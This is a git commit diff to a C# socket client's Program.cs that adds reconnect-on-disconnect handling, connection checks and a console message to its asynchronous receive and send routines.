Update Program.cs

This commit is contained in:
NYAN CAT 2019-01-23 01:34:02 -08:00
parent 94a33646a8
commit df79845f74

View File

@ -46,6 +46,7 @@ namespace Client
} }
catch catch
{ {
Console.WriteLine("Disconnected!");
Thread.Sleep(2500); Thread.Sleep(2500);
InitializeClient(); InitializeClient();
} }
@ -63,7 +64,12 @@ namespace Client
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar)
{ {
if (client.Connected == false)
{
client.Close();
client.Dispose();
InitializeClient();
}
try try
{ {
int Recevied = client.EndReceive(ar); int Recevied = client.EndReceive(ar);
@ -102,6 +108,12 @@ namespace Client
} }
} }
} }
else
{
client.Close();
client.Dispose();
InitializeClient();
}
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
} }
catch catch
@ -130,22 +142,23 @@ namespace Client
public static void BeginSend(byte[] Msgs) public static void BeginSend(byte[] Msgs)
{ {
if (client.Connected)
{
try try
{ {
using (MemoryStream MS = new MemoryStream()) using (MemoryStream MS = new MemoryStream())
{ {
byte[] buffer = Msgs; byte[] buffer = Msgs;
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
MS.Write(buffersize, 0, buffersize.Length); MS.Write(buffersize, 0, buffersize.Length);
MS.Write(buffer, 0, buffer.Length); MS.Write(buffer, 0, buffer.Length);
client.Poll(-1, SelectMode.SelectWrite); client.Poll(-1, SelectMode.SelectWrite);
client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null); client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null);
} }
} }
catch catch
{ { }
} }
} }
@ -156,8 +169,7 @@ namespace Client
client.EndSend(ar); client.EndSend(ar);
} }
catch catch
{ { }
}
} }
} }
} }